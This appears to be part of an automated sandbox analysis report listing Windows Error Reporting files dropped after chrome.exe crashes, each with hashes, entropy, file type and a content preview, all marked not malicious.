Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.9.1.3.3.0.7.3.7.5.8.9.9.0.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.b.b.f.a.c.3.3.-.b.7.4.e.-.4.b.7.5.-.8.9.6.4.-.5.2.e.4.9.3.7.c.c.6.6.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.9.8.f.1.d.4.9.-.b.3.8.6.-.4.1.0.c.-.a.1.a.b.-.2.e.2.e.3.9.1.1.c.f.2.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.r.o.m.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.h.r.o.m.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.5.c.-.0.0.0.1.-.0.0.1.8.-.7.d.9.1.-.f.0.8.b.7.1.c.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.b.e.e.b.f.9.6.7.c.b.7.5.7.3.a.a.9.7.d.c.2.a.8.8.f.1.7.f.f.3.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.1.f.0.7.b.b.4.5.0.1.9.c.a.d.2.a.d.b.0.0.6.7.0.1.6.5.f.7.1.0.d.a.9.4.9.2.5.1.2.!.c.h.r.o.m.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5././.0.2././.2.5.:.2.0.:.0.6.:.0.8.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_6529d8499c11cd4f9e25b8c1dc6756637128dac_19d51899_ae4f23fe-4453-4c08-8e49-5ec9a4d99431\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7016473219571256
Encrypted:	false
SSDEEP:	96:78rFA6i7srEoZGNfCQXIDcQic6ycEJcw3++HbHu2A2Z+ZwfZAX/d5FMT2SlPkpXA:oBAJ7b0c2TTj2zuiFWZ24lO89
MD5:	3F0FAC9082B40827747A5C64ACF90377
SHA1:	88D7C54789BA2C6EADDD18019432645B3CBBD03B
SHA-256:	70386481C399652EDBF42B62C5462C123BBB5A99D316606A5080095C2DF5902D
SHA-512:	AEA098B81D4BED421C3782B51312919FA429CCD9409E4FF1D6BE29D8A3C02D86EB3C5AE094EA41BCE82E8F35351E468F63726999261F3A325F5B3D31B57C2F44
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.9.1.3.3.0.7.4.6.9.3.8.1.1.8.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.e.4.f.2.3.f.e.-.4.4.5.3.-.4.c.0.8.-.8.e.4.9.-.5.e.c.9.a.4.d.9.9.4.3.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.2.0.d.c.8.e.f.-.c.e.7.d.-.4.9.6.b.-.a.c.d.e.-.f.e.a.0.a.e.2.a.b.a.b.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.r.o.m.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.h.r.o.m.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.9.c.-.0.0.0.1.-.0.0.1.8.-.9.8.b.7.-.e.d.9.1.7.1.c.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.b.e.e.b.f.9.6.7.c.b.7.5.7.3.a.a.9.7.d.c.2.a.8.8.f.1.7.f.f.3.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.1.f.0.7.b.b.4.5.0.1.9.c.a.d.2.a.d.b.0.0.6.7.0.1.6.5.f.7.1.0.d.a.9.4.9.2.5.1.2.!.c.h.r.o.m.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5././.0.2././.2.5.:.2.0.:.0.6.:.0.8.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_6529d8499c11cd4f9e25b8c1dc6756637128dac_19d51899_da2a02b0-90a6-4a28-9c90-2e5bef4746ea\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.701969616652614
Encrypted:	false
SSDEEP:	96:f8Mrj6iRsrEoZGNfCQXIDcQic6ycEJcw3++HbHu2A2Z+ZwfZAX/d5FMT2SlPkpXj:UmjJRb0c2TTj2zuiFWZ24lO89
MD5:	3A564AA259653C2ED635E50282191FEE
SHA1:	F4BA8D23E4B6CE0E0AB1439069D24F347DFC6F61
SHA-256:	AD17C21417D673493B195FE1CB7CC13541D862F332D6AB9FB234137B5515ADDA
SHA-512:	97003F0D01BDEF7E6321315433C9DA1DE6D7C29260FF09150CE1D3782944A9F044017CDC6D0CEAB96FA0ED97D02E6B34FD74FFBDD1AA74F7D9D3361FD16FEFC9
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.9.1.3.3.0.7.4.1.9.5.6.4.7.9.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.a.2.a.0.2.b.0.-.9.0.a.6.-.4.a.2.8.-.9.c.9.0.-.2.e.5.b.e.f.4.7.4.6.e.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.8.2.b.9.b.5.f.-.4.b.a.3.-.4.3.e.5.-.8.a.d.6.-.e.8.8.8.8.f.7.4.c.a.f.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.r.o.m.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.h.r.o.m.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.3.0.-.0.0.0.1.-.0.0.1.8.-.d.2.d.8.-.f.4.8.e.7.1.c.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.b.e.e.b.f.9.6.7.c.b.7.5.7.3.a.a.9.7.d.c.2.a.8.8.f.1.7.f.f.3.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.1.f.0.7.b.b.4.5.0.1.9.c.a.d.2.a.d.b.0.0.6.7.0.1.6.5.f.7.1.0.d.a.9.4.9.2.5.1.2.!.c.h.r.o.m.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5././.0.2././.2.5.:.2.0.:.0.6.:.0.8.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_653df720363a23f9fbf1c3440f42767b874ec_19d51899_5409b9b5-c318-4fb1-b93f-79ad37fbd536\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.702738370066236
Encrypted:	false
SSDEEP:	96:f84Fu6iJsrEodGNfBQXIDcQoc6OcEZcw3CAKGp+HbHu2A2Z+ZwfZAX/d5FMT2Sl0:U4FuJJU0mKD6Jj2zuiFWZ24lO89
MD5:	8EEE8B40E3098160719F59E152369BB1
SHA1:	CA27212542B7ADDA1F316D77440CBDF045E328D3
SHA-256:	6824E42492634BC2218DF605F40A185164575B92F6F73704146F2ECFBF33262F
SHA-512:	0CBFB7A4B8739094CBD82C46E73B70F5B43AB514EE161CD336521945566B3927D53C0A99C44C82C793BC824853426219BD2F3C295818B7056BC9222F1155052A
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.9.1.3.3.0.7.3.6.5.8.3.9.6.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.0.9.b.9.b.5.-.c.3.1.8.-.4.f.b.1.-.b.9.3.f.-.7.9.a.d.3.7.f.b.d.5.3.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.a.6.d.9.7.6.f.-.8.e.6.4.-.4.3.9.4.-.8.f.8.2.-.4.6.b.7.1.8.0.6.e.f.2.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.r.o.m.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.h.r.o.m.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.5.c.-.0.0.0.1.-.0.0.1.8.-.7.d.9.1.-.f.0.8.b.7.1.c.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.b.e.e.b.f.9.6.7.c.b.7.5.7.3.a.a.9.7.d.c.2.a.8.8.f.1.7.f.f.3.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.1.f.0.7.b.b.4.5.0.1.9.c.a.d.2.a.d.b.0.0.6.7.0.1.6.5.f.7.1.0.d.a.9.4.9.2.5.1.2.!.c.h.r.o.m.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5././.0.2././.2.5.:.2.0.:.0.6.:.0.8.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_653df720363a23f9fbf1c3440f42767b874ec_19d51899_8e7d8957-4f25-4f86-92ca-b4478f3aa501\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7024438330113476
Encrypted:	false
SSDEEP:	96:FX85rvj6iRsrEodGNfBQXIDcQoc6OcEZcw3CAKGp+HbHu2A2Z+ZwfZAX/d5FMT25:FM5rvjJRU0mKD6Jj2zuiFWZ24lO89
MD5:	9D95A3652A5D55BD28E4F7BBDAAC94E9
SHA1:	CE8252E05BFFDD32B2C14FEA3CC9DCB6D96CE1B4
SHA-256:	8C59E76AB20B34CF9BB1EB1753B316EC773384AEED942CB19C6192B80B7F0803
SHA-512:	8EE47E993F070EA6708D64324269ED5EA71419D92E56E4C8F7DEB01F9294197FAC7AF74102B14CD5D2757A65216AB8EFB502766F167E891641B7653BCD96A966
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.9.1.3.3.0.7.4.1.3.5.6.3.2.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.e.7.d.8.9.5.7.-.4.f.2.5.-.4.f.8.6.-.9.2.c.a.-.b.4.4.7.8.f.3.a.a.5.0.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.2.f.2.e.b.f.-.6.4.3.6.-.4.5.4.2.-.a.1.f.d.-.5.1.7.0.8.6.d.7.1.e.a.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.r.o.m.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.h.r.o.m.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.3.0.-.0.0.0.1.-.0.0.1.8.-.d.2.d.8.-.f.4.8.e.7.1.c.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.b.e.e.b.f.9.6.7.c.b.7.5.7.3.a.a.9.7.d.c.2.a.8.8.f.1.7.f.f.3.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.1.f.0.7.b.b.4.5.0.1.9.c.a.d.2.a.d.b.0.0.6.7.0.1.6.5.f.7.1.0.d.a.9.4.9.2.5.1.2.!.c.h.r.o.m.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5././.0.2././.2.5.:.2.0.:.0.6.:.0.8.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_chrome.exe_653df720363a23f9fbf1c3440f42767b874ec_19d51899_b0903a45-bedb-4fc8-8d02-4a5e159b6a4a\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.70234594334885
Encrypted:	false
SSDEEP:	96:887A6i7srEodGNfBQXIDcQoc6OcEZcw3CAKGp+HbHu2A2Z+ZwfZAX/d5FMT2SlP8:t7AJ7U0mKD6Jj2zuiFWZ24lO89
MD5:	EC2657D586907763DCCE38C9A7F0F9F7
SHA1:	1651BC41BE3470D568198297176D572D6CA5900E
SHA-256:	F9988585DF19514969C94DEFF76FAB11EFA8674343E432B7743C05CAF474E895
SHA-512:	9B6711126F00E9793617A5E04C113437FD4A2E33FA9E6C1AFCC8A66A9A6C600C985F8DACDF43FAA6DAB007E76B948A30C5AC2688D4CA97DFAEE2EC4214D9EFD5
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.9.1.3.3.0.7.4.6.3.3.2.2.2.0.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.0.9.0.3.a.4.5.-.b.e.d.b.-.4.f.c.8.-.8.d.0.2.-.4.a.5.e.1.5.9.b.6.a.4.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.6.9.f.0.c.5.7.-.7.7.a.e.-.4.3.d.0.-.b.8.5.0.-.8.5.f.1.b.1.4.2.a.8.9.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.c.h.r.o.m.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.h.r.o.m.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.9.c.-.0.0.0.1.-.0.0.1.8.-.9.8.b.7.-.e.d.9.1.7.1.c.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.b.e.e.b.f.9.6.7.c.b.7.5.7.3.a.a.9.7.d.c.2.a.8.8.f.1.7.f.f.3.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.1.f.0.7.b.b.4.5.0.1.9.c.a.d.2.a.d.b.0.0.6.7.0.1.6.5.f.7.1.0.d.a.9.4.9.2.5.1.2.!.c.h.r.o.m.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5././.0.2././.2.5.:.2.0.:.0.6.:.0.8.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D82.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat May 10 06:05:36 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	28534
Entropy (8bit):	2.0182336636659515
Encrypted:	false
SSDEEP:	96:518Y7DBTbLbEIH9zmN3jabGldi7OOK06Ut8k4kPwNVcR5gy8vWIEvIPzrV:oKxbl03dOOOK95k8NVk8ZzrV
MD5:	90FC22390C2A4CE24C7F21B02EBDDD4A
SHA1:	E6A8E63D6A54144207169FF4C48EA533ED5E1928
SHA-256:	A36EF01CBCAF7E026D75BFE1A754FE0CBDD00FD5062CBBC4000C94977E6F1B0F
SHA-512:	A605ED2196ABA5372181D62B6930BDD7096E0575BB5A6DBFB843A5396EB0F16B921C653D956EF5105A75EBBAC6E46DB1C5C73CA3FEDCD6D63D84B7629409F8A5
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........h............4...............<...........l...........T.......8...........T................h......................................................................................................eJ......@.......Lw......................T.......\......h.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3DE1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8520
Entropy (8bit):	3.7002240138065057
Encrypted:	false
SSDEEP:	192:R6l7wVeJkwNi06YsN648ngmfcBTpBi89bFI/fk3m:R6lXJTr6Y+6zgmfcB3FYfJ
MD5:	DEFD4366617B82D676ECE38C40BD4BE9
SHA1:	809F7D8996EA7EA2D7E341B5D70204E1CA43D613
SHA-256:	D47A6637342ECEB146C42DD521DDF0CF7756B31E400B530F66C8ED3764D04511
SHA-512:	8503EF5C6328FA190A76749CBA03F0823DD94BFF2DB28D81917AA7D46855E579BB448611FCCEA071516978BC0A92B91B9EAB9308118136061C3AFB6296EBD539
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E5F.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4707
Entropy (8bit):	4.453072926698809
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg771I9VKWpW8VYxYm8M4JGBRhFVyq85KcYnnUCaOUadd:uIjf6I76r7VNJGBbXpnUoUadd
MD5:	F6402ACFDF792F7F07D919DCC683AB24
SHA1:	A9343A85BADC3F70E19009323B31622C0B8A9435
SHA-256:	D391557AE89B242404C7C57CA59E86C2CDA04719BC3EA2864789E9C6CD45EC9E
SHA-512:	F4CAEBA64B9E45662CEDA6FE45578FADA382D6AC062C7D4712EEC19BEE1B525085391710321EAEAC2BD2F0E0C67CD939FBF747EC01DDB6CF40D30A84E3D200A5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="842228" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER416A.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat May 10 06:05:37 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	28374
Entropy (8bit):	2.0894058089075243
Encrypted:	false
SSDEEP:	96:5A847rTbLbEIH9zmNl+7X/i7OcCIpK9LoMxnNVGTBkph1+x6LtwWI0r5InHV:9qHblZjOOcCI7MhNV3x+x6Lt4HV
MD5:	74EF5CA7727528D5C676EF73E1088F9B
SHA1:	2D735E44269BB997CA383C7FFF9291FDFBDC3224
SHA-256:	312F46F5F133DD06157F983293800C5BB28120B7B3AA067061C4D2C7E63B546D
SHA-512:	185F9F7547D15173E9B775E5FB05276A987FB71B1AAFCCAA281D3B6363D2A98A377EC7093161602C9342695FAFB84017C5CF338C5CC4060EF7B9FF07A5208277
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........h............4...............<...........l...........T.......8...........T................h......................................................................................................eJ......@.......Lw......................T.......\......h.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER419A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8516
Entropy (8bit):	3.6997718290103663
Encrypted:	false
SSDEEP:	192:R6l7wVeJkjNGJ6YsZ648ngmfRKpBk89b8I2fY0m:R6lXJ4C6Y66zgmfRc8JfK
MD5:	15FDBF5D60B42A8F2A9CA8E7FCB7397B
SHA1:	65DAE6DB3D3DE770AE54756B80F4A75FFA18F193
SHA-256:	3E9A8277254ECF76F401588661EBE6AA36049FC5181AEE810FA7735276E0EA6A
SHA-512:	57EE2358514660369006DE4F6809E2279A1F0E0710239AF398612FE24B7365E648FDD4FF43EF816156E51C18C10F57383D937BE2AB66F6BDE674268AA10DDB95
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4208.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4699
Entropy (8bit):	4.450375048033618
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg771I9VKWpW8VYzYm8M4JGBRBeFqCHyq85KlETnnUCaOUadd:uIjf6I76r7VfJGBn+HXlGnUoUadd
MD5:	22260CC5D8E6ACFF2101DF774A338EFF
SHA1:	3A42AC6ED93B8CEF905FF84C330382FDDCAFC5EF
SHA-256:	2B71141018A62A07B75EF534F28750ECEB8F28F1B09915B48F6F9FE8DD1D06F5
SHA-512:	EB33B708719320ECEC7313598CE0C29A387AA79B9D6197AFE5751851ACD507756F22E700BB969E3AB194A537D87FF9E593A85A35E893CF4B3DD9526941E5C887
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="842228" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER502F.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat May 10 06:05:41 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	27766
Entropy (8bit):	2.0581913841934574
Encrypted:	false
SSDEEP:	96:588t9QXTbLbEIH9zmNlKXi7OY0LUzk4ltSfz9fE2V1DW3oWIBbIPk:5Oblg2OOYwMkkEzJa7k
MD5:	96DDD48CACDF0ACB95AA707335E30BB0
SHA1:	33B22EDD8E192CFDEB8706A4694A97E8D7DBC90E
SHA-256:	6566D6FE016BFA372B4CFC90CAE8DF6843E9BC09257F7C3648AC292DE5839784
SHA-512:	A50BD09F2AF2839EA1A4731FBBD7C784F9143D779DD8A5178F82344E8416CB119B5C8E979BCDB81F12E6514E65E6B007AE9D4085BDE4C3AC6BF6744912DC602C
Malicious:	false
Reputation:	low
